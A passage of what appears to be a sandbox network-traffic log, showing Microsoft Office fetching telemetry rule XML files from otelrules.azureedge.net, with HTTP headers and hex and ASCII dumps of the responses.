2024-11-19 21:07:05 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49837	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-r1d97b995774zjnrhC1TEBv1ww00000007w000000000844a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49839	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-r1d97b99577dd2gchC1TEBz5ys00000007mg00000000sfkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49840	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-1777c6cb754xjpthhC1TEBexs800000008g0000000009pnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49841	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-1777c6cb754dqb2khC1TEBmk1s00000008m000000000d120 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49842	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-1777c6cb754n67brhC1TEBcp9c00000008q000000000d6cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49843	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-1777c6cb754ww792hC1TEBzqu400000008c000000000uebn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49844	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-1777c6cb754gc8g6hC1TEB966c00000008n000000000bxbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49845	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-r1d97b99577gg97qhC1TEBcrf400000007pg00000000gqdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49846	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-r1d97b99577d6qrbhC1TEBux5s000000081g000000008gkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49847	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-1777c6cb754vxwc9hC1TEBykgw00000008qg000000002xrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49848	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-r1d97b99577dd2gchC1TEBz5ys00000007u0000000002m3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49849	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
